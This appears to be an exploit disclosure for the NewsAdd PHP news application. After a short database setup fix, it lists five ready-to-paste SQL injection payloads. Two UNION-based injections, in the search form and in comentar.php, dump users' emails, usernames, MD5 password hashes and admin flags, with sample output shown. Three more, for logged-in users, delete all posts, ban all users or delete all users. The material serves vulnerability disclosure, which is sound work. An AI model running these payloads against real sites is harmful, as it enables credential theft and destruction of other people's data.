If you will install NewsAdd on your system for tests, some servers have problems with tabulation.
Therefore, replace the second query:
--- begin ---
CREATE TABLE IF NOT EXISTS 'comentario' (
        'id' int(11) NOT NULL AUTO_INCREMENT,
        'id_noticia' int(11) NOT NULL,
        'usuario' varchar(15) NOT NULL,
        'comentario' text NOT NULL,
        'data' datetime NOT NULL,
        PRIMARY_KEY('id')
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=15 ;
--- end ---
By this:
--- begin ---
DROP TABLE IF EXISTS `comentario`;
CREATE TABLE `comentario` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `id_noticia` int(11) NOT NULL,
  `usuario` varchar(15) NOT NULL,
  `comentario` text NOT NULL,
  `data` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
--- end ---

We discovered five SQL Injection vulnerabilities on public access.
 _
|_| Vulnerabilities before login

 /
|  SQL Injection on the search form
 \
The first vulnerability is in the search form, on index. Paste this in it:
%' UNION ALL SELECT 1,group_concat(concat(email,0x3c3d3e,usuario,0x3c3d3e,senha,0x3c3d3e,admin,0x3c3d3e,banido)),3,4,5 from usuarios-- wc
You will get a unique line like:

admin@admin.com.br<=>admin<=>e10adc3949ba59abbe56e057f20f883e<=>1<=>0,user@email.com<=>user<=>ee11cbb19052e40b07aac0ca060c23ee<=>1<=>0

Lines are separated by commas (",") and columns, by "<=>".
In the return, we have two lines:

admin@admin.com.br<=>admin<=>e10adc3949ba59abbe56e057f20f883e<=>1<=>0
user@email.com<=>user<=>ee11cbb19052e40b07aac0ca060c23ee<=>1<=>0

Here, we have the columns as follow:
email <=> username <=> md5(password) <=> admin? <=> banned?

 /
|  SQL Injection on comments
 \

For this, you must be a user. Register on the "cadastro.php" form.
After, access:
http://domain/comentar.php?id=-0' union all select 1,2,3,group_concat(concat(email,0x3c3d3e,usuario,0x3c3d3e,senha,0x3c3d3e,admin,0x3c3d3e,banido)),5 from usuarios--+
You will view a line like the previous example.


 _
|_| Vulnerabilities after login

 /
|  Delete all posts
 \

/admin/removerNoticia.php?id=0' or '1'='1&conf=sim


 /
|  Ban all users
 \

/admin/listarUsuarios.php?acao=banir&id=0' or '1'='1


 /
|  Delete all users
 \

/admin/removerUsuario.php?id=0' or '1'='1&conf=sim

Note that if you delete all users, you will lose access to the system.
